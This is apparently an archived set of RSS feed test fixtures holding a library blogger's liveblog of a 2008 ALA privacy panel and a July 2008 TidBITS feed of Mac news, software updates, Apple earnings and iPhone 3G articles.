      q: it would be useful for us as a community to look at the successes of the green revolution and how it evolved, maybe piggyback on it. is our “inconvenient truth” “information footprints” instead of “carbon footprints?” get our own al gore and make our own movies. let’s build on that

      dan: will have a problem convincing people not to opt-in to things they use everyday, though

      cory: there’s a third option between refusenik and throwing up your hands - take control of your habits; use “google commander” firefox extension; in the library, we could redirect doubeclick URLs to 0000 so that library users are not tracked

      dan: digital vandalism would make this info useless - a friend clicks around aimlessly to deliberately create false data

      q: how can we work better with our IT people? and our vendors? what would be persuasive to the geeks who design our systems?

      cory: is a former sysadmin and geeks believe really strongly in privacy for themselves. if you can get those people to expand the universe of people whose privacy they want to protect beyond themselves, they can understand it’s part of their mission

      q: the EFF has the Tor program that can be downloaded for free to anonymize web surfing and can be used on library computers, too, if your IT people install it

      cory: it was originally intended for naval communications

      http://privacyrevolution.org/

      - additional liveblogging of this session at the Loose Cannon Librarian

      , , , , , , ]]>       http://theshiftedlibrarian.com/archives/2008/06/30/ala2008-privacy-revolution-panel.html/feed/       Reblogging the ALA Privacy Panel http://theshiftedlibrarian.com/archives/2008/06/26/reblogging-the-ala-privacy-panel.html http://theshiftedlibrarian.com/archives/2008/06/26/reblogging-the-ala-privacy-panel.html#comments Thu, 26 Jun 2008 18:28:45 +0000 jenny ala2008ala annual 2008annual2008jessamyn westlibrariesprivacyprivacy revolution http://theshiftedlibrarian.com/archives/2008/06/26/reblogging-the-ala-privacy-panel.html I’ve been invited to liveblog and solicit questions for an Annual Conference session about a newish ALA grant project designed to educate the public about privacy rights. More info will be up soon at their site, Privacy Revolution, but for now, they have a top-notch panel speaking about this subject at Annual (Cory Doctorow, Dan Roth from Wired, and Beth Givens, the director of the Privacy Rights Clearinghouse), and they’re soliciting questions from those who can’t attend the session. If nothing else, there is a survey available on the site that they’re hoping you’ll take in order to collect data about information privacy policies and practices.

      Jessamyn West has a longer explanation on Librarian.net, and I think it’s probably easier if everyone just posts their questions there, although I will definitely ask any relevant questions posted here, too. If you’ll be at the conference, we’ll be in room 201D in the convention center from 1:30-3:30pm on Sunday, so please join us.

      As soon as there is more info about the project available online, I’ll post a note about it here. I’m hoping good things will come from this, as I think this country needs to have a serious and frank debate about privacy issues, and I believe libraries are a good forum for this.

      , , , , , , ]]>       http://theshiftedlibrarian.com/archives/2008/06/26/reblogging-the-ala-privacy-panel.html/feed/       Literally, Where I’ll Be Gaming at ALA http://theshiftedlibrarian.com/archives/2008/06/25/literally-where-ill-be-gaming-at-ala.html http://theshiftedlibrarian.com/archives/2008/06/25/literally-where-ill-be-gaming-at-ala.html#comments Wed, 25 Jun 2008 12:15:27 +0000 jenny http://theshiftedlibrarian.com/archives/2008/06/25/literally-where-ill-be-gaming-at-ala.html I’ve finally had a moment to collect room numbers, and since I see that some of the gaming stuff isn’t listed in the program guide, here’s a quick run-down.

      No Tags]]>       http://theshiftedlibrarian.com/archives/2008/06/25/literally-where-ill-be-gaming-at-ala.html/feed/       Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.tidbits.com-channels-tidbits.rss0000664000175000017500000046005312653701626030023 0ustar janjan TidBITS: Mac News for the Rest of Us http://www.tidbits.com/ Insightful news, reviews, and analysis of the Macintosh and Internet worlds en-us Copyright 2008 TidBITS Publishing Inc. Tue, 22 Jul 2008 07:21:40 PDT Tue, 22 Jul 2008 07:21:40 PDT editors@tidbits.com editors@tidbits.com TidBITS http://www.tidbits.com/images/tb_logo_152x55.png http://www.tidbits.com/ 55 152 TidBITS badge <![CDATA[TidBITS Watchlist: Notable Software Updates for 28-Jul-08]]> http://db.tidbits.com/article/9702?rss Tue, 22 Jul 2008 07:18:20 PDT http://db.tidbits.com/article/9702
    13. Keyboard Maestro 3.3 from Stairways Software adds a number of features to the rapidly developed macro utility. Foremost among them is a global status menu and the capability to trigger macros from the status menu, but this version also adds the capability to enable and disable individual actions within a macro for testing purposes, a Fast User Switch action, a Comment action that does nothing but help document a macro, a preference to save and restore the clipboard history. Also new is the capability to cut, copy, paste, and duplicate macros, triggers, and actions, making it easier to make macros similar to those you've already created. ($36 new, free update, 6.3 MB)
    14. PDFpen 3.5 and PDFpen Pro 3.5 from SmileOnMyMac updates the PDF editing and manipulation utility to support PDFs that follow newer specifications and non-standard PDFs, improves the Correct Text feature, and fixes numerous minor bugs. ($49.95/$94.95 new, free update for 3.x users, 5.3 MB)
    15. Typinator 3.1 from Ergonis Software brings to the auto-typing and text expansion utility improved compatibility with programs like Coda, VMware Fusion, Butler, Zend Studio, Lotus Notes, OpenOffice, NeoOffice and more. It also integrates the recently released HTML Snippet Set, offers a redesigned menu bar icon, provides an option to turn off the menu bar icon entirely to save space on the menu bar, and fixes a variety of minor bugs. (19 euros new, free update for copies purchased in the last 2 years, 1.8 MB)
    16. Default Folder 4.0.7 from St. Clair Software is a minor compatibility update for the Open and Save dialog enhancer, fixing problems with Word 2008 and with the "Open in Terminal" and "Click to copy a filename features." ($34.95 new, free update for purchases before 01-Jun-07 or $14.95 otherwise, 9.2 MB)
    17. Firefox 3.0.1 from the Mozilla Foundation fixes several security problems, addresses stability issues, and fixes a problem that could miss printing parts of a page. Note that Firefox add-ons may need to be updated to work with 3.0.1, so if you rely on a particular add-on, it's worth checking its compatibility before updating Firefox itself. (Free, 17.2 MB)

      18.  

      Copyright © 2008 Adam C. Engst. TidBITS is copyright © 2008 TidBITS Publishing Inc. If you're reading this article on a Web site other than TidBITS.com, please let us know, because if it was republished without attribution, by a commercial site, or in modified form, it violates our Creative Commons License.

      MARK/SPACE, INC: Take it with you! The Missing Sync makes
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      ]]>             <![CDATA[Apple Reports Billion Dollar Profit for Q3 2008]]> http://db.tidbits.com/article/9701?rss Mon, 21 Jul 2008 14:36:17 PDT http://db.tidbits.com/article/9701 Apple earned a profit of $1.07 billion on $7.46 billion in sales ($1.19 per share) in its third fiscal quarter ending 28-Jun-08. This represents a 31 percent increase in profits and 37 percent increase in revenue over the same quarter a year ago, in which the company earned $818 million on $5.41 billion of income ($.92 per share). These figures don't represent the increase in cash that Apple has hoarded, as earnings figures include intangibles and Apple has opted to book iPhone and some other revenue over a period of time. Apple had $19.5 billion in cash and equivalents on hand at the end of their previous quarter. The earnings webcast can be heard on Apple's site.

      Apple also sold 717,000 iPhones, an increase of 63 percent over the year-ago quarter which included 270,000 phones sold during just the opening weekend of sales of the first iPhone model.

      These unit sales and revenue numbers are even more interesting because Apple doesn't recognize the revenue for the iPhone - show it in their earnings - when an iPhone is sold, but instead spreads out the income over many quarters. Apple chose to stop accounting for income from any new iPhone sales between 06-Mar-08, when the iPhone 2.0 software was announced, and 11-Jul-08, when it shipped along with the iPhone 3G. That means that the $419 million in iPhone revenue noted for the quarter ending 28-Jun-08 excludes even the spread-out part of between $1.5 billion and $2 billion in hard cash taken in. This should make for an extraordinary fourth fiscal quarter.

      This quarter is also part of the continuing renaissance of Macintosh computers, after years of having iPod sales overshadow the computer side. Apple's indirect strategy of gaining users through the halo effect of producing the iPod and the iPhone led to the all-time highest number of Macs sold in a quarter - just under 2.5 million, or a 41 percent gain over a year ago. Apple is now the third biggest computer seller in the United States with about 8 or 9 percent of market share (see "Apple Gains Larger Slice of Computer Sales," 2008-07-18).

      The company didn't slack on iPods, though, pushing over 11 million out the door, which was a more humble 12 percent gain, not surprising with no particular holiday or iPod product announcements in the latest quarter.

      Retail stores saw incredible growth, likely due to the influx of iPhone buyers, with a 58 percent year-over-year growth in sales, a result of 32 million customers in the third quarter up from 22 million a year ago. The stores brought in $1.44 billion, selling 476,000 Macs in this latest quarter. Apple said that the NPD Group, which tracks retail sales, saw Apple's percentage rise from 15 to 20 percent of sales compared with a year ago.

      The company expects a slight increase to $7.8 billion in their fourth fiscal quarter, which is, however, an increase of 25 percent over fourth quarter 2007. For fiscal 2008, Apple expects to recognize $32 billion, or 35 percent over the previous full fiscal year.

       

      Copyright © 2008 TidBITS Staff. TidBITS is copyright © 2008 TidBITS Publishing Inc. If you're reading this article on a Web site other than TidBITS.com, please let us know, because if it was republished without attribution, by a commercial site, or in modified form, it violates our Creative Commons License.

      Fetch Softworks: Fetch 5.3 has a new look for Leopard,
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      ]]>             <![CDATA[Hot Topics in TidBITS Talk/21-Jul-08]]> http://db.tidbits.com/article/9700?rss Sun, 20 Jul 2008 01:35:11 PDT http://db.tidbits.com/article/9700
      Thesaurus in Dashboard? One easily overlooked feature of Dashboard is that you can drag multiple instances of a widget onto the screen. (4 messages)


      MobileMe and Tiger -- Apple's support for MobileMe is spotty under Mac OS X 10.4. If you're having trouble syncing, try the suggestions in this thread. (8 messages)


      iPhone Email Failure -- After upgrading to the iPhone 2.0 software, several people encounter problems receiving email. (8 messages)


      MobileMea Culpa: Apple Apologizes, Extends, Revises; More on Tiger -- Readers discuss the security aspects of MobileMe. (2 messages)


      MacBook with poor AirPort connection -- MacBooks typically get better wireless reception than MacBook Pros, but one woman's experience suggests otherwise. What else could be going on? (1 message)


      Duplicate messages in Mail.app -- What could be the cause of duplicate messages when the network connection is unreliable? (1 message)


      Hands Off iPhone Talking in my Car -- Is an iPhone's headset illegal to use as a hands-free option? (12 messages)


      Using a GSM cell phone as a modem -- The iPhone connects to the Internet, so why can't it bridge a connection to one's laptop? Readers discuss other options. (3 messages)


      iPhone 3G: On the Line in Seattle -- High interest and iPhone shortages are resulting in long lines at Apple Stores and AT&T stores to get the latest iPhone 3G. (5 messages)

       

      Copyright © 2008 Jeff Carlson. TidBITS is copyright © 2008 TidBITS Publishing Inc. If you're reading this article on a Web site other than TidBITS.com, please let us know, because if it was republished without attribution, by a commercial site, or in modified form, it violates our Creative Commons License.

      READERS LIKE YOU! Support TidBITS with a contribution today!
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      Special thanks this week to Michael O'Connell, Hugh Marsh,
      Geoffrey Meissner, and Richard Healey for their generous support!
       
      ]]>             <![CDATA[Apple Gains Larger Slice of Computer Sales ]]> http://db.tidbits.com/article/9699?rss Fri, 18 Jul 2008 19:09:41 PDT http://db.tidbits.com/article/9699 Two research firms say that Apple's share of U.S. computer sales shot up by 30 to 40 percent in the second quarter of 2008 over the same quarter in 2007. IDC and Gartner say PC sales worldwide rose from 62 to 71 million systems year over year, and Apple's sales increased in every market, even as the overall price-per-computer dropped.

      The research firms said Apple sold 38 percent (Gartner) or 32 percent (IDC) more computers compared year over year, pushing it either into a clear third place after Dell and HP (Gartner), or tied for third with Acer (IDC), which acquired Gateway and Packard Bell in the intervening period. Worldwide, HP takes the top spot in overall market share, followed by Dell, Acer, Lenovo, and Toshiba.

      Given that Apple typically keeps its price points about the same, improving features or reducing the cost of high-end add-ons - like the MacBook Air's solid-state drive, now $500 cheaper than at its introduction - this likely means Apple's revenue is higher than indicated by its roughly 8 percent estimated market share in the United States. According to Gartner, other firms are cutting prices steeply, trading market share for revenues.

       

      Copyright © 2008 Glenn Fleishman. TidBITS is copyright © 2008 TidBITS Publishing Inc. If you're reading this article on a Web site other than TidBITS.com, please let us know, because if it was republished without attribution, by a commercial site, or in modified form, it violates our Creative Commons License.

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      ]]>             <![CDATA[Totally an iPhone 3G owner]]> http://db.tidbits.com/article/9698?rss Thu, 17 Jul 2008 13:31:51 PDT http://db.tidbits.com/article/9698 After a slightly aggravating false start this morning, I am happy to report that Orange's Department of Fixing Number Portability Goofs did whatever it was they had to do, and when I returned to the France Telecom shop this afternoon, my iPhone was ready for me to take home.

      Of course, the first thing I wanted to do was sync it with iTunes so that I could actually use it, and as I had an appointment that would keep me away from home until the evening, I'd brought my laptop along for just that purpose. I selected a nearby café on the basis of having determined, via a quick peek at my AirPort menu from a sidewalk bench, that it had free Wi-Fi. (I assumed, correctly, that iTunes would have to connect to Apple to complete the registration and setup.) Unfortunately, by the time I'd ordered a drink I discovered that the Wi-Fi access was only available to those staying in the adjoining hotel and who therefore had a special code needed to log on. Ah well, it's always something.

      Anyway, I eventually got the phone registered, got my data synced, and began exploring it in earnest.

      My initial impression after a couple of hours? Totally amazed. To be fair, given the low-tech phone I'd been using for the past six years, I suppose I may be easier to please than people who were already used to having monster everything-and-the-kitchen-sink phones. But I've just had a series of revelations along the lines of "No way! I could have had that in my pocket all this time?" My whole concept of what was possible (or at least is now) has expanded greatly.

      Which brings me to why I've finally taken the plunge, despite my earlier protestations that I wouldn't. My main argument against getting an iPhone (or an iPod touch, for that matter), had been that it simply wasn't worth the money. I spend most of my time at home - no commute, no regular trips to the park to jog or the gym to work out - so the device would probably just sit on my desk, and I have computers that serve my needs there; no need to spend a bunch of extra money on another gadget. Secondarily (and partly related to being at home so much), I spend so little time talking on my cell phone that even my ultra-cheapo pay-as-you-go plan provided far more minutes than I could ever use.

      Here are my reasons for changing my mind:

      • Price. Saving a couple of hundred euros over what the earlier generation cost is, for me, anything but trivial. I didn't mind signing a contract to get the subsidy (though I could have paid lots more to get it contract-free) because the monthly price is the same as what was available for the earlier-generation iPhone, and any plan I got (even pay-as-you-go plans) with enough 3G data service to do useful work was bound to cost a bit anyway.
      • GPS. I've wanted a GPS for a long time (mostly for navigating while on foot, not while driving, so the absence of turn-by-turn directions doesn't concern me), but I couldn't justify the cost. However, free with the purchase of a new cell phone definitely works for me.
      • Clutter reduction. As I go about my business in Paris, I typically need to have at least three things with me all the time: a city street/métro/bus map (in the form of a small but thick book), a cell phone, and a camera. Sometimes I also need a French dictionary, so I end up lugging around a backpack to carry all my stuff. Now, except when I have a special need for a higher-res, higher-quality camera, I can carry just one object instead of many. That makes my pockets happy.
      • Cable reduction. I'm on a quest to reduce the number of cords and cables in my home, especially things that plug into the wall. Being able to have one less AC adapter (using a USB cable for syncing as well as charging) helps. (Next step: replace some of those AC-powered hard drives with FireWire bus-powered models.)
      • MobileMe. I've written a great deal about .Mac, and I want to be able to write about every aspect of MobileMe - including the aspects that require an iPhone or iPod touch - without constantly leaning on other people to explain how things work on their devices.
      • Traveling light. One of the reasons I do most of my work at home rather than, say, in the nearest park or café, is that it's just a pain to haul my 17" MacBook Pro around. And yet, I always seem to need to do a bunch of things that I couldn't accomplish without it - until now. Sure, I still need a real keyboard and copy & paste do do substantial writing, but thanks to clients for SSH and VNC, iPhone blogging tools, and other nifty applications, I can now do much of my work without a full-size laptop.
      • Voice recording. I can't tell you how many times over the last year I've wished I had a voice recorder - not just to make notes to myself but to record what other people are saying to me in French so that I can review it later and decode the bits that I missed (which tends to be a lot of it). Now I have one (or several, thanks to a variety of third-party software options).

      Time will tell if or how this ends up revolutionizing my life - or whether I just become much more efficient at matching sequences of jewels.

       

      Copyright © 2008 Joe Kissell. TidBITS is copyright © 2008 TidBITS Publishing Inc. If you're reading this article on a Web site other than TidBITS.com, please let us know, because if it was republished without attribution, by a commercial site, or in modified form, it violates our Creative Commons License.

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      ]]>             <![CDATA[TidBITS Watchlist: Notable Software Updates for 21-Jul-08]]> http://db.tidbits.com/article/9694?rss Thu, 17 Jul 2008 10:09:40 PDT http://db.tidbits.com/article/9694
    18. HP Printer Driver 1.1 from Apple "includes the latest drivers for printers you have used on your system." Unfortunately, it's unclear from that description if it merely includes drivers for new HP printers, or if drivers for existing HP printers have been improved. (Free, 405.1 MB)
    19. iPod touch 1.1.5 from Apple applies unspecified improvements to the iPod touch, most likely security and performance fixes found in the iPod touch 2.0 software released last week. If you've decided not to spend the $9.95 to upgrade to version 2.0 - or more likely you're waiting for Apple to shake out any bugs from this first dot-zero release - the 1.1.5 update sounds like a good bet. As with other iPod touch updates, this one is available only through iTunes: connect your iPod touch, select it in the Devices list, then click the Check for Update button. (Free, 165 MB)
    20. Airfoil 3.2.1, Nicecast 1.9.3, and Audio Hijack Pro 2.8.2 from Rogue Amoeba now all include the Instant Hijack 2.1 update for grabbing sound from any active application; this update fully supports 64-bit systems, the company says. Airfoil 3.2.1 has other minor bug fixes, while Nicecast 1.9.3 and Audio Hijack Pro 2.8.2 update the LAME encoder for producing MP3 files. Audio Hijack Pro also improves the MegaMix mode that Rogue Amoeba developed to record sound from Skype conversations.

      21.  

      Copyright © 2008 TidBITS Staff. TidBITS is copyright © 2008 TidBITS Publishing Inc. If you're reading this article on a Web site other than TidBITS.com, please let us know, because if it was republished without attribution, by a commercial site, or in modified form, it violates our Creative Commons License.

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      ]]>             <![CDATA[Hands-Free iPhone Options for the Car]]> http://db.tidbits.com/article/9697?rss Thu, 17 Jul 2008 00:38:19 PDT http://db.tidbits.com/article/9697 On 01-Jul-08, the state of California made it mandatory to use hands-free technology for cell calls for all drivers 18 and over who want to talk while driving. If you're under 18, the restrictions are even more severe: drivers may not talk on a cell phone through any means, nor may they type instant messages. This under-18 ban strikes me as a good idea, as driving accidents are the leading cause of death for that age group.

      This move isn't limited to California, or nearby Washington, which implemented a similar ban the same day: 20 other states and a number of countries are looking into or planning similar restrictions on using cell phones while you're driving, and 10 states and countries require that cell phones be used with hands-free equipment while driving. (In Washington state, where two TidBITS editors are located, text messaging while driving is explicitly banned; in California, 18-and-up drivers can be pulled over if a police officer decides the driver is distracted and unsafe.)

      I live over the hill from Silicon Valley and travel there frequently via a winding two-lane highway. Commuters from both the local university town and Silicon Valley have driven me nuts for years with their horrible driving habits while talking on cell phones. Scariest of all are ladies in big SUVs driving in the mall parking lot.

      Once I knew the hands-on ban was on the way, I bought and tried four different options for hands-free iPhone use. I didn't plan on getting four different solutions, but that's how many it took to find one that met my needs. Prices vary from free to $129; you may find a solution I discarded works for you.


      Apple iPhone Headset -- The original headset that comes with an iPhone (free with iPhone, or $29 purchased separately) is a good, workable solution. A microphone is embedded in the wire leading to one earbud, about 6 inches (15 cm) down the wire. This square block also contains an integrated multi-purpose press button. When a call comes in, squeezing the button answers the call; squeezing it again at the end of the call hangs up. When you're driving, you don't need to pick up the phone at all - simply pinch the microphone switch. If a call comes in while you're listening to music or a podcast, the audio is paused in favor of your ringtone and then the call itself. The audio resumes automatically when you hang up.

      No one I called reported any interference when I was driving the car with the window up. Thanks to a windscreen built into the microphone, they could also hear me over the wind noise with the window down. I find the earbuds to be comfortable (some people do not), and the overall wire length is sufficient to lay the iPhone on the console or car seat.

      I don't use the iPhone headset as my main solution (as you'll read below), but because it came with the iPhone and takes up hardly any space, I keep it in my car as a backup.

      One flaw with the earbuds, however, is that you typically have both left and right buds in at the same time, which might qualify under the laws of some states and countries as wearing illegal headphones. (See "Handsfree iPhone Call Leads to Ticket," 2007-09-13.)


      Plantronics Voyager 520 Bluetooth Headset -- The Voyager 520 ($99) fits over one ear and communicates with the iPhone via Bluetooth. Performance was excellent, with good noise cancelation, and setup (pairing with the iPhone) was simple. It even comes with a small desktop charger.

      In fact, I loved everything about this headset except for the discomfort of the piece that sits in the ear canal. I must have a weird ear canal layout, because wearing it even for a short drive made me constantly conscious of the headset; there was also enough irritation to make the inside of my ear sore. And, I must admit, I'm bothered by people who walk around with Bluetooth headsets permanently affixed to their ears: you try to ask someone a question only to find they're talking to someone. Leave the headset in the car or office.


      Belkin TuneCast Auto -- Belkin's iPhone-to-FM car radio adapter ($79.99) is a clever one-cable system. One end of the cable plugs into the iPhone (or iPod) and the other end plugs into your car's cigarette lighter to provide power, which also charges the iPhone. An FM radio adapter module sits in the middle. When connected and with your car radio tuned to the FM band, you press the button on the adapter. It searches for a clear FM channel and then indicates the specific channel (for example, 89.7) on a built-in LCD. Select that channel on your car radio, and voila! Your music plays from the iPhone, but more important for our discussion here, if a phone call comes in, you hear the other party through that FM channel on your radio.

      But that's all it does. You still have to answer and hang up the iPhone manually, a momentary distraction when driving unless you also use the Apple iPhone earbuds. There's no microphone, so I used the iPhone's built-in mic. Plus, when driving around our hilly urban community or driving some distance along one of the major freeways in the Bay Area, the FM station reception would change at least once every few minutes, requiring the unit to search for a clearer FM channel - at which time you would have to change the radio to that channel.

      Admittedly, the TuneCast Auto wasn't designed as a hands-free telephone system, but when I could maintain a constant frequency it served the purpose.


      Monster iCarPlay Cassette Adapter for iPod and iPhone -- A similarly unusual but effective approach is to play the iPhone's audio through your car stereo without relying on the FM band. The iCarPlay ($24.95) is a cassette adapter and cable that plugs into the radio's cassette tape slot. (That is, if your car stereo includes one; many newer cars no longer include a cassette deck, although some have a stereo mini-jack input on the front.) The sound quality was excellent, since it wasn't relying on radio reception, even though a wire runs between the adapter and the iPhone.

      To make the setup hands-free, I also bought the Monster iSoniTalk Headphone Adapter for iPhone, a small microphone ($19.95) that plugs into the iPhone and clips to your shirt or, in my case, a small adhesive hook on the dashboard; the iSoniTalk sits between the iPhone and iCarPlay. The iPhone then stays in the carrying case I use in the console of the car. When I get in, I make one connection to the top of the iPhone and everything is ready to go - no settings, no fiddling, and no distractions at any time. Hearing everything (car radio, satellite radio and iPhone music/podcasts) through the car's speakers is fabulous and cell phone callers have no sense of my unusual setup through the car stereo.

      This combination turns out to be my favorite, and the one I use all of the time now as it allows me to handle everything through the car stereo. It's also the cheapest solution of the ones I tried.


      Parrot Bluetooth Car Kits -- If you spend a lot of time in the car and want something more sophisticated, Parrot sells a number of Bluetooth hands-free speakerphone kits that clip onto the dashboard or visor. I didn't try any of them, which range in price from $129.99 to $299.99, since the iCarPlay and iSoniTalk combination turned out to be the solution for me.


      Hands Off -- With ever more localities moving toward a hands-free requirement when talking while in motion, I anticipate we'll see other solutions appear, and the overall cost drop.

      [Rick Fay is a 22-year Mac user, writer, wireless video networking professional, and serious evaluator of technology. He has also used an iPhone throughout the United States and Mexico since 30-Jun-07.]

       

      Copyright © 2008 Rick Fay. TidBITS is copyright © 2008 TidBITS Publishing Inc. If you're reading this article on a Web site other than TidBITS.com, please let us know, because if it was republished without attribution, by a commercial site, or in modified form, it violates our Creative Commons License.

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      ]]>             <![CDATA[Very nearly an iPhone 3G owner]]> http://db.tidbits.com/article/9696?rss Thu, 17 Jul 2008 00:33:57 PDT http://db.tidbits.com/article/9696 The iPhone 3G launched today in France, and I was up and out of the house at the crack of dawn. I was number 5 (of maybe 30) in line at a local France Telecom store, which had a special early opening at 8:00 this morning to sell iPhones to eager geeks. I came prepared with every document I might conceivably need (good thing, too - I needed a lot of them). I told the salesperson what I wanted (a black 16 GB model), which version of the contract I was going for, and that I wanted to transfer my number from my old cell phone, which is on a different carrier (SFR). He checked my old phone number, entered all the information in the computer, activated my iPhone, had me sign all the paperwork, and was about to say goodbye and thanks for my business.

      Then I casually asked if there was anything else I needed to do as far as transferring the number from my old phone goes. And he got the classic "Oh, crap!" look on his face - he'd forgotten to enter that info in the computer during the activation process, and now the phone was incorrectly activated with a different number. But no problem, he said, he'd make a phone call and figure out how to fix it.

      Alas, the people in the Department of Fixing Number Portability Goofs weren't in yet - apparently they hadn't been asked to get up early today along with the salespeople. So my nice new shiny iPhone 3G, which I have paid for, signed a contract for, and held in my hand, is still at the store, where it must remain until the middle of the afternoon when, I guess, the Number Portability folks have returned from a relaxing lunch and are prepared to fix the activation problem.

      This evening, after I've had a chance to give it a proper playing-with, I'll say a few words about why and how I came to own an iPhone after declaring previously in TidBITS that I was not a candidate for such a device.

       

      Copyright © 2008 Joe Kissell. TidBITS is copyright © 2008 TidBITS Publishing Inc. If you're reading this article on a Web site other than TidBITS.com, please let us know, because if it was republished without attribution, by a commercial site, or in modified form, it violates our Creative Commons License.

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      ]]>             <![CDATA[MobileMea Culpa: Apple Apologizes and Explains Tiger Situation]]> http://db.tidbits.com/article/9695?rss Wed, 16 Jul 2008 14:08:46 PDT http://db.tidbits.com/article/9695 I accept your apology, but I'm speaking only for myself. Last week, Apple's MobileMe team sent an email to all subscribers of the $99-per-year service, admitting that the transition from .Mac was rocky, and that they're sorry about it. So sorry, in fact, that they're tacking 30 days onto all current subscribers' expiration dates. (I wrote about the botched .Mac-to-MobileMe transition in "MobileMe Fails to Launch Well, But Finally Launches," 2008-07-12.)

      Also, I received details from Apple on how Mac OS X 10.4 Tiger users will be able to use MobileMe services.


      Here's $8.25 for Your Troubles -- The extension of a MobileMe subscription by 30 days - an $8.25 value - is a nice gesture of goodwill, even though it hardly covers the lost time I spent coping with sync problems. I like that Apple 'fessed up and said sorry. It would have been more meaningful if they'd used standard English rather than marketing-ese, but you can't have everything.

      The 30-day extension is described in an extensive FAQ, the details of which show that Apple is trying quite hard to show their contrition. Anyone with an existing .Mac account as of 09-Jul-08 or who signed up for a new MobileMe account before 7 PM on 15-Jul-08 qualifies, even if your account expired (they've reactivated it), is about to expire, or you have a trial subscription. The new expiration date won't appear in your account details for "a few weeks," Apple writes.

      Apple also said in the letter that they have been using the term "push" too broadly to describe MobileMe's technology. In the context of events, contacts, and mail, push generally means that as soon as a change is made, a given device or computer is notified to receive the update if that device or computer is connected to a network.

      With MobileMe, Apple had already received some criticism about labeling its desktop synchronization as push because changes lagged for up to 15 minutes. The iPhone and me.com Web applications receive changes immediately, or, if the iPhone is off all networks, as soon as it resumes its access. Apple says it won't use the term "push" for its desktop software until the software provides that actual feature.


      In Tiger, It's Still .Mac, Same Features -- After I wrote about how to get updated MobileMe software under Mac OS X Leopard (you must first go to the .Mac preference pane before the Mac OS X for MobileMe 1.1 update will appear in Software Update), several readers asked whether this update would eventually be available for Tiger, too. The answer: no.

      An Apple spokesperson forwarded several details to me about the Tiger transition. First, the 10.4.11 release is required; I discovered this earlier today when, during a power outage at my office, I attempted to use an old iBook that still sported 10.4.10. To use the MobileMe Web applications, you also need to download either Safari 3 for Tiger, or use either Mozilla Firefox 2 or 3. Tiger's last bundled release was Safari 2.

      All previously supported .Mac features that worked in Tiger will continue to work with MobileMe. Unlike the within-15-minutes synchronization noted above for Leopard, Tiger will sync only as frequently as every hour.

      Apple posted a KnowledgeBase article with information for Tiger and Leopard users about how to set up or change email programs to work with me.com addresses. To continue using old mac.com email addresses, which will work indefinitely, leave settings alone. To use a new MobileMe account or the me.com address that .Mac users were also assigned, follow the instructions in the article.

      Apple confirmed that Tiger will continue to show .Mac throughout; they plan no update to change the operating system's terminology to read MobileMe.

      MobileMe's launch spelled an end of Apple-coordinated synchronization in Mac OS X 10.3 Panther, but, really, did it ever work well enough that someone is relying on it three years after Tiger was released? I hope not.

       

      Copyright © 2008 Glenn Fleishman. TidBITS is copyright © 2008 TidBITS Publishing Inc. If you're reading this article on a Web site other than TidBITS.com, please let us know, because if it was republished without attribution, by a commercial site, or in modified form, it violates our Creative Commons License.

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      ]]>             <![CDATA[Hot Topics in TidBITS Talk/14-Jul-08]]> http://db.tidbits.com/article/9693?rss Mon, 14 Jul 2008 17:31:20 PDT http://db.tidbits.com/article/9693
      iMac failing to startup into OS 10.3.9? -- An unfortunate encounter with Norton System Works leads to an old iMac being unable to boot into Mac OS X. (2 messages)


      Discovering Sparse Bundle Disk Images -- Readers discuss whether virtualization software such as Parallels and VMware Fusion use sparse bundle disk images. (5 messages)


      Corrupted Printer setup utility -- Mac OS X Leopard moved printing tasks into the Print & Fax preference pane, and in the process discarded the old Printer Setup Utility. (5 messages)


      Cutting off bad Wi-Fi connection -- How do you make a Mac stop automatically connecting to a wireless network? (2 messages)


      The Hole in My Backup Plan -- Readers relate to Joe Kissell's experience of losing the use of his main Mac, including purchasing two similarly configured machines and renting a replacement. (25 messages)


      iTunes Store technical details -- Does Apple store and serve the iTunes Store from its own hardware? It doesn't appear to. (2 messages)


      Third-party batteries for older laptops -- When a laptop's original battery reaches the end of its life, should you buy a replacement from Apple or try one from a third party? When dealing with older portables, you may not have a choice. (2 messages)


      How to revive a "broken" hard disk? After replacing a hard disk, a reader gets suggestions for erasing it for use elsewhere when trouble arises. (7 messages)


      Mac OS X 10.5.4 Issue -- Following a system update, a reader's files and folders become invisible. The solution? Changing the screen resolution. (2 messages)


      Current iPhones Keep Cheaper Plan on Reactivation -- Readers ponder the best methods of upgrading to the iPhone 3G. (8 messages)


      New Mac threats? What started as an article that mirrors a press release about Mac malware turns into a discussion of how important terminology can be when defining security threats. (48 messages)


      Precipitate shines Mac Spotlight into Google -- Readers talk about Adam's article about this utility for making Spotlight search Google services. (5 messages)


      802.11g-n mixed network question -- Will having wireless routers of different speeds slow down an entire network, or can they all just get along? (4 messages)


      Gaming the system? Is it ethical to buy a computer with the express purpose of using it and then taking it back within the return policy? Readers debate. (15 messages)


      Extend iTunes Movie Rentals Beyond 24 Hours -- Attempting to play a paused iTunes rental beyond its expiration time led to a gray screen. Is this a bug or a policy change from Apple? (2 messages)


      Apple Stores Ready for 3G Onslaught -- Apple and AT&T seem to expect that most people will transfer existing cellular phone numbers to the new iPhone service. (3 messages)


      Send SMS for Free via AIM on iPhone -- You can use AIM on the iPhone to send a text message for free, but how does it appear to the recipient, and can they reply in kind? (2 messages)


      MobileMe Fails to Launch Well, But Finally Launches -- Readers discuss Apple's stumbling start of the MobileMe service. (2 messages)


      Buying an iPhone 3G -- A reader shares his impressions of the iPhone 3G, leading to a discussion of price and how AT&T is subsidizing the cost of each phone. (2 messages)

       

      Copyright © 2008 Jeff Carlson. TidBITS is copyright © 2008 TidBITS Publishing Inc. If you're reading this article on a Web site other than TidBITS.com, please let us know, because if it was republished without attribution, by a commercial site, or in modified form, it violates our Creative Commons License.

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      ]]>             <![CDATA[First Impressions of the iPhone 3G and iPhone 2.0]]> http://db.tidbits.com/article/9692?rss Mon, 14 Jul 2008 09:19:05 PDT http://db.tidbits.com/article/9692 Evaluating a product is always one of the more difficult tasks for a writer. Everyone has their own individual preferences, and the reviewer is forced to pool these together, stir them up, and distill a complex personal experience down to a few paragraphs someone will use to decide where to place their hard earned dollars.

      Apple didn't make this any easier by combining the release of the iPhone 3G and iPhone 2.0 software for first generation iPhones over the course of two days. Well, it was supposed to be a single day, but Apple's server overload disrupted that plan. Even so, the company reported today that 1 million iPhone 3Gs were sold worldwide between Friday and Sunday, and more than 10 million applications were downloaded from the App Store during the same period. (To quote Red Sweater Software's Daniel Jalkut, "If I ever sell a million of something in 3 days, I expect to see some infrastructural problems, too.")

